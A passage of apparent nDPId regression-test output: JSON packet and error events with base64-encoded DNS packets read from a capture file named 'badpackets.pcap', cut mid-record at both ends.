J\/t2s2KBguZm2e\/qZ1Ezxt4cEtu9kc0sswh6yWPsWme\/zxCgcrwhF4ZRmacvc+rMVf\/a\/AghKUmUTfCHDsCeW2IcVFuIY0PYQvO0ixv6F67"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":54,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":704} +00777{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":55,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451618,"pkt_ts_usec":89828,"pkt_caplen":353,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":353,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcvUsgADcR9T6JyAQfzLpQ5QA1fIMHB7MjfFCEEAABAAIABQAPBGRuczEDc3NhA2dvdgAAAQABwAwAAQABAAAAPAAEicgrCMAMAC4AAQAAADwAmwABBwMAAAA8WUE2n1kZn1cHPQNzc2EDZ292AC5156k1jArAQVGBahVpB6i1h\/fLJ3i\/HJY8GxrDrwsXIly+1WH6d7kRKc6lk\/uZf0+AmaTOUahspZVRqb7TH6GrbnsyXZmTfc3Kzu2iCB1GZM+ThGuuBfTJP\/RUgJK9tEeQ4pfMuSB5LQOaizURDpM8RAEaHBNs8UiaB2wYxjm8wEwAAgABAACMoAAHBGRuczbATMBMAAIAAQAAjKAAAsAMwEwAAgABAACMoAAHBGRuczLATMBMAAIAAQAAjKAABwRkbnM1wEzATAAuAAEAAIygAJsAAgcCAACMoFlBLTxZGZ8="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":55,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":319} +00790{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":56,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451619,"pkt_ts_usec":519744,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":361,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsBcgADIR1CChNyACzLpQ5QA1FUYM12ePIm2EEAABAAYABAANA21hZwRuY2VwBG5vYWEDZ292AAABAAHADAAFAAEAAAEsAAsDbWFnBGNwcmvAEMAMAC4AAQAAASwBIQAFBQQAAAEsWSuLaVkiUOlQZARuY2VwBG5vYWEDZ292ADcGQyBFP4D+oljdb2+uDa9\/19GSwvR6WriPq+5z0bu\/0ZaU\/D8IQsmXY34oOVHWkzG6MucH8ZmcfTOJDErUlSNSiRzFT51PBmw6nGKnxTSwXkETkX04Oo9QP2yzVDt5BovyB6C9tXHehSkdYBFKv3dkwzGxANJxhe+yFBxgwF9UCs8+cZEJOlz8tn056cIu0n8cLm0Luw3FG\/hQGfvItzUlOxBl1A60sdiGmy6QUdNCXAcNU0yZ9pOPKxcCxUBH4IhMSpEnUlvPR6QJH5nmfUQe2XEJKZYxCw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":56,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":327} +00978{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":57,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451619,"pkt_ts_usec":545973,"pkt_caplen":501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":501,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+sgADgR3T6MWiHtzLpQ5QA1+sANYy2s8YiEEAABAA8ABAANA3d3dwNuaGMEbm9hYQNnb3YAAAEAAcAMAAUAAQAAASwADwhlZGdlLW53cwN3b2PAFMAMAC4AAQAAASwBIAAFBQQAAAEsWSuLeVkiUPkyEANuaGMEbm9hYQNnb3YAmdicnE8euFUxTHUXfeUJmy6UvdRd01G3Waurvp4SxZ2PJZgNPzjjITBMLV6ecU4\/JueThrSlKZCbDqf7PO1nwK30oVaMXimjEp\/WM+cq2lYinJ+rRAUpOFrU1\/PMoKmi\/NA9YhzR1i84ntUn6pU7gPRsC1l0stlJvmpn5vPK2SEpb2eW0Gowmg8iUnJq32XYuUvIED4TSMnVkgyeOVQyRuntLmYEqOLIN1Y4bfKDTdnt4ooZOC4nZltsnzRyIjkMnu6GUtEuSBRaXw7\/LMILqzp94rUYZ+A0FpoK\/AokSahDQC+1b+t0iMHL6XYsjM4sNHxXO6pg\/DJfgn7ZWUE0hMAuAAUAAQAAASwADAdlZGdlLXAxAWzAX8AuAC4AAQAAASwBIAAFBQQAAAEsWSuLyFkiUUi\/jgN3b2MEbm9hYQNnb3YAkE66gKhT1JcM2kgWKvIXOPPjjmHF901em1sV2mJv"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":57,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":467} +00360{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451620,"pkt_ts_usec":149557,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+4gADgR3TuMWiHtzLpQ5QA16sALmpGgy8o="} +00190{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","caplen":44,"len":60} +00360{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451620,"pkt_ts_usec":149557,"pkt_caplen":44,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs+4gADgR3TuMWiHtzLpQ5QA16sALmpGgy8o="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":58,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":26} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451620,"pkt_ts_usec":868987,"pkt_caplen":43,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs\/AgADgR3TmMWiHtzLpQ5QA1Jh0F0T0AFA=="} +00190{"basic_event_id":14,"basic_event_name":"Captured packet size is smaller than packet size","thread_id":0,"packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","caplen":43,"len":60} +00361{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451620,"pkt_ts_usec":868987,"pkt_caplen":43,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcs\/AgADgR3TmMWiHtzLpQ5QA1Jh0F0T0AFA=="} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":59,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":26} +01157{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":60,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451632,"pkt_ts_usec":4127,"pkt_caplen":636,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":636,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcsh4gADYR8CWCDh0fzLpQ5QA1H4MIImMAvk+EEAABAAIABgAJBG5jYmkDbmxtA25paANnb3YAAAEAAcAMAAEAAQABUYAABIIOHW7ADAAuAAEAAVGAASQAAQcEAAFRgFoAvupZE3Dqzb4EbmNiaQNubG0DbmloA2dvdgAkf1HSoxN8AcwUdKY7WYciGx3geHak0EvSutU7odDo4dq+NlD8O\/xERFOOtnm1OnbmotJrAyzkKRKq2LhHEAKnpnQ\/7o4BV5VPHkuyi+TApDKVmXneUpTyPtHjKhT2CXt\/fyExp+B7ruJjC+Pcr5ZslqwQv1r1rPCkU5Mhz4yMR3BggA0Hh5V6YsPB3ZKTiKS\/eiA5iAmjeNxUPq28qT0hVjLTG5jO15eNmG2vPLSE3IUKr1s52HiMixNOjA9zTiA\/KJ+hR8CkVUQekEXmvwf9VBsUpBGDeS2mGNHxD+rzAlEWmLXNCGAh5Oui3uYYiuNNDR79YStEu6BCY8ZmkvsqwFAAAgABAAAOEAAMCWRuczEtbmNiacBQwFAAAgABAAAOEAAGA25zM8BZwFAAAgABAAAOEAAMCWRuczItbmNiacBQwFAAAgABAAAOEAAFAm5zwFnAUAACAAEAAA4QAAYDbnMywFnAUAAuAAEAAA4QASQAAgcEAAAOEFoAvupZE3Dqzb4EbmNiaQNubG0DbmloA2dvdgA+EebMkCne2CNH9\/msBB1ttxS45FhdXCD5iR18dVqPuT200zDdV4BFS01NU4MYeoc3XDyOxIWfU7WKy5Zs94YsWp3mz1cDLKuZG3MK\/hBxOol\/fcuIoTQU9\/sE"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":60,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":602} +00661{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":61,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451636,"pkt_ts_usec":457182,"pkt_caplen":265,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":265,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcg4sgAOcRN5mDTlH+zLpQ5QA179EGr6+UudOFkwABAAAADAABCk5PU1MyUFJPNTICYWQDZGxhA21pbAAAAQABwBoABgABAAACJAAtCGVhZ2xlaWIxwBcLcmFuZHkuc21pdGjAGneyKSsAACowAAAEOAAJOoAAAAOEwBoALgABAAACJACbAAYIAgAAA4RZL+jmWSKr1jYkA2RsYQNtaWwAQ+NjrNptV+b2\/CTqZKH2biSP27tkOWTGq2KCUhlOH9E41MLSOk2lCYL6smDX5fmm1zJuobp2dyrUo+9Imrd8bXDxUMgbvMl\/t\/ob2CKRj1UwIaYHEuWwqw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":61,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":231} +00672{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":62,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451636,"pkt_ts_usec":679021,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":275,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcRyUgAOcRc\/+DTlH+zLpQ5QA1lCQGuTGo9n2FkwABAAAADAABCk5PU1MyUFJPNTIEdXNlNgJhZANkbGEDbWlsAAABAAHAHwAGAAEAAAGdAC0IZWFnbGVpYjHAHAtyYW5keS5zbWl0aMAfd7IpKwAAKjAAAAQ4AAk6gAAAA4TAHwAuAAEAAAGdAJsABggCAAADhFkv6OZZIqvWNiQDZGxhA21pbABD42Os2m1X5vb8JOpkofZuJI\/bu2Q5ZMarYoJSGU4f0TjUwtI6TaUJgvqyYNfl+abXMm6hunZ3KtSj70iat3xtcPFQyBu8yX+3+hvYIpGPVTAhpgcS5bCrcsRzkWs="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":62,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":241} +00672{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":63,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451636,"pkt_ts_usec":862163,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":274,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXc1mwgAOcR5LeDTlH+zLpQ5QA1mK0GuOHsaJmFkwABAAAADAABCk5PU1MyUFJPNTIDZXRuA2RsYQNtaWwAAAEAAcAbAAYAAQAAAo4AMAhlYWdsZWliMQJhZMAbC3JhbmR5LnNtaXRowBt3sikrAAAqMAAABDgACTqAAAADhMAbAC4AAQAAAo4AmwAGCAIAAAOEWS\/o5lkiq9Y2JANkbGEDbWlsAEPjY6zabVfm9vwk6mSh9m4kj9u7ZDlkxqtiglIZTh\/RONTC0jpNpQmC+rJg1+X5ptcybqG6dncq1KPvSJq3fG1w8VDIG7zJf7f6G9gikY9VMCGmBxLlsKtyxHORaw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":63,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":240} +01000{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":64,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451661,"pkt_ts_usec":43614,"pkt_caplen":520,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":520,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAV8MiEgADMR67bAa2aOzLpQ5QA1kJIHTuawQK+EEAABAAIABQAPBXByZXNzBmJhbXBmYQhiZXJrZWxleQNlZHUAAAEAAcAMAAEAAQAAKjAABEWjkf3ADAAuAAEAACowAKcAAQoEAAAqMFkmu3pZIXKW\/GIGYmFtcGZhCGJlcmtlbGV5A2VkdQDYr4iiKwGHUj8t5HsllLRdCw51+RuHgmXTVi3BKZp2SlHKwPPE5NDgykdlf2nh09MKoRsS4ZQ6K+HtO0Fgl3XDsVj0e38hlFZSyxT3UsVtxM+no9NBzelbSMqdsdKPMBXZBU6WN68SPUB0Mpo5EB0ERXosqZrbp40B7OEuBwhJTsBZAAIAAQAAKjAACQZhb2RuczLAYMBZAAIAAQAAKjAACAVhZG5zMsBgwFkAAgABAAAqMAAJBmFvZG5zMcBgwFkAAgABAAAqMAAIBWFkbnMxwGDAWQAuAAEAACowAKcAAgoDAAAqMFkn98ZZIq5X\/GIGYmFtcGZhCGJlcmtlbGV5A2VkdQAn0OdhYPVBP+po1b2zTtthnlvR+AwkjgERoFRV1d81BBycm1q7rnJTejDubWCC+fexo8tBaiAWuF7QlClYFOJSAmzwtfgGPOICDtid\/wne+kDmwXvgLbwXYX5lBPAt0LIXRb3dGGBe+RGHeQ=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":64,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":486} +00667{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":65,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451685,"pkt_ts_usec":924265,"pkt_caplen":272,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":272,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcdQIgAOcRRiKDTlH+zLpQ5QA12ScGtpz7Az2FkwABAAAADAABDG5jYjFzZHYwMDkwMQJhZANkbGEDbWlsAAABAAHAHAAGAAEAAAHJAC0IZWFnbGVpYjHAGQtyYW5keS5zbWl0aMAcd7IpKwAAKjAAAAQ4AAk6gAAAA4TAHAAuAAEAAAHJAJsABggCAAADhFkv6OZZIqvWNiQDZGxhA21pbABD42Os2m1X5vb8JOpkofZuJI\/bu2Q5ZMarYoJSGU4f0TjUwtI6TaUJgvqyYNfl+abXMm6hunZ3KtSj70iat3xtcPFQyBu8yX+3+hvYIpGPVTAhpgcS5bCrcsRzkWs="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":65,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":238} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":66,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451704,"pkt_ts_usec":377782,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcLFogADcR72\/BRGNjzLpQ5QA16EkGJwo+kYmEEAABAAUAAAABAmJnAAAwAAHADAAwAAEAAA4QAIgBAAMFAwEAAatvnBmra+7zeBm9l13suknlkqymM+dxrFdopER\/atXEXpeKon1lB9rWXtPTizfX"} +00175{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":66,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":95} +00698{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":67,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451720,"pkt_ts_usec":70227,"pkt_caplen":295,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":295,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcf7QgAOQRIpPOJiMDzLpQ5QA1bBYGzcCiF4OFkwABAAAADAABBmlzYXRhcARkYWFzA2RsYQNtaWwAAAEAAcATAAYAAQAAADAAMAhlYWdsZWliMQJhZMAYC3JhbmR5LnNtaXRowBgBMZuVAAAAtAAAABIACTqAAAADhMATAC4AAQAAADAAoAAGCAMAAAC0WS8rbVkh7l0xhgRkYWFzA2RsYQNtaWwAX2YDHFGs++P6KY5jyOnyDe0uBmvRjeLNiVar29Ll1723S4vXnuSWhUWFZRQdEVXqxkbd6V+XrLkpWPckh1R4zgV9PWSNZ8HZUjMZhQWPWXpppn2CEeN7b88KhZ27nzVXi+\/73NKvN1wXzYqVmw0ROQ=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":67,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":261} +01501{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":68,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451745,"pkt_ts_usec":785541,"pkt_caplen":889,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":889,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcuAIgADYRFDWAx\/RyzLpQ5QA1xd4JH1hTgneEEAABAAIABgALCGNvbnRlbnQ0CG5vdm9wb3JuA2NvbQAAAQABwAwAAQABAAAOEAAExgc9H8AMAC4AAQAADhABIAABBwMAAA4QcNvYgFkGc0W0+Ahub3ZvcG9ybgNjb20AlewZozFU2n96aVRqxQUtXjawCyGgM6B0TzRF56i4jQojMtEEU5RHV2P7Vi\/giydID14A4YyUQ85+uCYlFI0DOCtWk0z5XmpprtC9X+\/T1\/r4JD0uPBpyimV4NZ7fwQxxt5\/3s2rlf4r73xWZZ+3IUuJ2vwbncpUyzu1TuFq+36Vdmu0LH4Wzte\/E0y2pkf37K2RBRQ7Nn\/d+Xj6t5ggL4KWxhT3Q0vSCylzZfyLrz2NK8Qb9WKZPaGXKWrHYVjLVERNJemNdvrQWUyPUJZC8YuSGBgJRiBu7nGJd9NUwi+LJQ8nOWu\/g3XZWYEgJTSqnXRaYhwfpdJtUS4EbhA6YOcBVAAIAAQAADhAADANuczMFZnd3Z2\/AXsBVAAIAAQAADhAABgNuczLBc8BVAAIAAQAADhAABgNuczXBc8BVAAIAAQAADhAABgNuczHBc8BVAAIAAQAADhAABgNuczTBc8BVAC4AAQAADhABIAACBwIAAA4QcNvYgFkGc0W0+Ahub3ZvcG9ybgNjb20AcFsxOk+TskskfmYioP9UewSZSL9WmuTUot1PfZFKaiFZLalRXKlbejn1Bpls9bVGMNJ8VYVUfoGcuesziAD8mlHukbkBjCvqsQLQJlUn18HhsM8Un6BUiQsAyEQsQp5HXtsXSzUuW2h7pa5HvFt51KDRqdLdfTwvCR7QFOYApeIeE7jGd14b6fcFUUntTWakr8Diay1Cx6MEqchNtPP8y5WWowh4rqtf9abZ6MihUGhOYq4GAOz7667QkstI2cH0PhPu2Q\/5ONAvjTiLfKSfgeeGC8VSswFyq2aFb6HIlVmYOK1XmDe3BmP7FLuXhq9PlJ6aBBY41kBThidqiIzU58GrAAEAAQAADhAABGjskh7BhwABAAEAAA4QAATAYM65wW8AAQABAAAOEAAEJTBzbsG9AAEAAQAADhAABC6l7FHBmQABAAEAAA4QAASAx\/RywasALgABAAAOEAEdAAEHAw=="} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":68,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":855} +01328{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":69,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451748,"pkt_ts_usec":818219,"pkt_caplen":762,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":762,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcFmEgADMRoAeBBg0DzLpQ5QA14pUIoA41h4GEEAABAAMABAANBnRpbWUtYQRuaXN0A2dvdgAAAQABwAwAAQABAAAHCAAEgQYPHMAMAC4AAQAABwgAnAABBwMAAAcIWSp7HVkhN25NKgRuaXN0A2dvdgCGDxP8mtTYURB\/z7B7zxG9M2cDPFjwCkCpyC8hiadTCV1wXBnQsMkH14gORQid9hZZkwqvAJKxlHHGFpFXs3GK70k31UcnglQglR+Jb8PvkvYMpqGZLiMdOZ+8aMQzLgN424FbMJ7np\/GSsY0NKbDsZWUKs5FEyvfl5LyBAXKP1cAMAC4AAQAABwgAnAABBwMAAAcIWSp7HVkhN25p9QRuaXN0A2dvdgCYOPJp1LyXHjTZERVC1mhE\/fFAgBPnHg5CzHCfHFW\/kHrSlPUKJrKTtWO2J6nhnsslWGL7StwY\/Ds0w3d1K1BK2EXHmf7JoxCpUcbjrJzE2AWNOuFyYMsitmrbg7hKpTz5YORW9N+9SgnPiRBdVePJPZ0ZX+5rKPwGXiVkzOvJt8D3AAIAAQAABwgABgNnZWHA98D3AAIAAQAABwgABgNiZWHA98D3AC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpNKgRuaXN0A2dvdgB\/AugCl6Rz+sTdMBLd\/b9WzbTmwtSJRElGSiFaNkIXGL85DwZ8CN5XIraessCeREIcUwZxVSCZqTN+jQfSqvs0RCCsELGmZy1\/6te8q\/BHGZ6r5Yfp\/FixyK0YEzCx9kE6yxKwCHgAiZ9RYjXpdk7jwKD9iHCh9psgrmi4EqWisMHDAC4AAQAABwgAnAACBwIAAAcIWSpvIFkhMlpp9QRuaXN0A2dvdgClTY7jIx2EAO1rRXMS+rZG5e8+PelDpKXOMRzGWIjrQbBJVXqIaZDLeBgBTWgx3tBkiLlUy1bOdR3MF5sPTTggHRJuEc8rRcMhHY6s0g2zr9CNylE8o5Mcs+HT"} +00176{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":69,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":728} +02335{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":70,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451756,"pkt_ts_usec":278524,"pkt_caplen":1501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1501,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcGOsgADcRhwqY2AekzLpQ5QA1zeYLg6WA7YmEAAABAAIABQAPA25zMwNpcnMDZ292AAABAAHADAABAAEAABwgAASY2AuEwAwALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAUaOVDQJwftL9gtrUM8RfLB6qSOBXZLTc9Hok\/6MIUcY0p+ZXalWKsGuV0qSYiHp0ZrSW1UB4GFMJyv7xm1d\/Po\/u1S5R08MeFVA+R2ZtvHBErM7kw\/4vE2A51h\/i02hoLPEPwvEXL7BXREwrjYl2TQspuWnPYjiGXk63g8xr6TFgux7jb2BRXQ4LBHynjXnnvpt3XYYGbcmWAyGPAsOf9hQuEFUTW8B15ZH+YidKzPQ1rU9pRShm7Pd3FpYAiKLk4i351zYZI20c8JNuwICCSg9UMWYXsfMXQ+CnSvsgbvApAMm6rh0DMcwkAJPfalPrGBEcb5Z1jx4wdGgAiCBer8AQAAIAAQAAHCAABgNuczHAEMAQAAIAAQAAHCAABgNuczLAEMAQAAIAAQAAHCAAAsAMwBAAAgABAAAcIAAGA25zNMAQwBAALgABAAAcIAEbAAIIAgAAHCBZK47XWSJGR6xiA2lycwNnb3YAe+rn2tmycvJNbOGLWjldMLdA22UT7xzZh6HJYvuJrE5+qGxJ\/K9yON+rGW5STnO8kj2d7HsVVtkx7ts0\/\/XDYlHvMvWnWK\/Dq3C0qhX4Y4OXOL2k9lkOXDls5DytCZ+qVKg+alb58DzoDOU5yVHtP9rMKfk9VxtfA9LIEQBilUu0fUAjg6x8b2zwKV\/jt6dY6YdR2oAGxQWcfwUhdEB3XcH5NlvhjHUGSlAUPWnm6zjJAgd2MgFTKihm5f+gD+mtCN9sSjuoCyjb\/J+INEr+l8If9XkT6uujAFdNt62xgrprlhR\/4ZT3wgiZkdJcmZ4Hrkq2N2BnT7dMThz1hN6ZBcFgAAEAAQAAHCAABJjYB6TBYAAuAAEAABwgARsAAQgDAAAcIFkrjtdZIkZHrGIDaXJzA2dvdgCNfUC+vOaSAIQikt\/wOmN6FcRNH787rVK7vx8EOTihWPPbRHscOApvDuppsQAybpUJQDSnhmKXzmW0RGA6n2G0ciYqXXOsL0P3\/\/ygg+7XWZuYzKb304Zfx6QfhPLSsEP8shH+rTSNdno\/S62Ol7IpIPQ0RCioobQ2UR\/UDEXTGGbKuR4mDZJLFYeh5tIFpoqvTkHShLjF6v2OlcN8aKTXl7dgMdindVnqMLXbceQ\/g0+K8BgVnEE\/6MZYL80Ns\/V8grnGdCpO48BX8ffkLGatTdnf+50+sN\/QX2lbVRYMuygjrQrIMeAro+VDEin8TTXEdrj+U639Pp8xolDwNQMSwXIAAQABAAAcIAAEmNgHpcFyAC4AAQAAHCABGwABCAMAABwgWSuO11kiRkesYgNpcnMDZ292AAiDKcsFAKyZAPT6\/BqMm4YGNjnILP\/RiBRbrxE19HyRiZVJxwCUqilv0dC8z9SJfb+rPNQabkmaQAfOPcKhH1sxV5brmQeQEeenqlUiW5YLjefk+NMQgd+NRuOdvGYchkWl5fnmMau\/HlA+HBNsAZN1e+HH49Qw2zLGAFvFYJOqPF\/HCttPr0DY7fU3q\/deTFsRESwvpQebvinvb3rUKnldKnGamoYPobR4sa3Hc7XJ1UAcE0x56k\/d9TLBNjQCHoPmejklH71ALytcz1kqNyblcIX4lJZisb91+kN14GrJEgCW46spplu2sT6hC4lmdNpv9JaIXIh6VBVmBv4anY3BkgABAAEAABwgAASY2AuFwZIALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YAJ3yCZvDhJMpICeF2AdNj6dX83t1aIlZReudVBhsa5qliqrUuu1fMBb1RYQ38UscZhlrQBQAAAAAAAGEBAAAAAAAAQwAAAAAAAADE0AAAxA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":70,"source":"badpackets.pcap","alias":"nDPId-test","l4_data_len":1467} +02332{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":71,"source":"badpackets.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1495451756,"pkt_ts_usec":278901,"pkt_caplen":1501,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1501,"pkt_l4_len":0,"pkt":"xDRrta3IeLr5aHlnCABFAAXcGO8gADcRhwaY2AekzLpQ5QA1NzILg45YlzKEAAABAAIABQAPA25zMgNpcnMDZ292AAABAAHADAABAAEAABwgAASY2AelwAwALgABAAAcIAEbAAEIAwAAHCBZK47XWSJGR6xiA2lycwNnb3YACIMpywUArJkA9Pr8GoybhgY2Ocgs\/9GIFFuvETX0fJGJlUnHAJSqKW\/R0LzP1Il9v6s81BpuSZpAB849wqEfWzFXluuZB5AR56eqVSJblguN5+T40xCB341G4528ZhyGRaXl+eYxq78eUD4cE2wBk3V74cfj1DDbMsYAW8Vgk6o8X8cK20+vQNjt9Ter915MWxERLC+lB5u+Ke9vetQqeV0qcZqahg+htHixrcdztcnVQBwTTHnqT931MsE2NAIeg+Z6OSUfvUAvK1zPWSo3JuVwhfiUlmKxv3X6Q3XgaskSAJbjqymmW7axPqELiWZ02m\/0lohciHpUFWYG\/hqdjcAQAAIAAQAAHCAABgNuczHAEMAQAAIAAQAAHCAAAsAMwBAAAgABAAAcIAAGA25zM8AQwBAAAgABAAAcIAAGA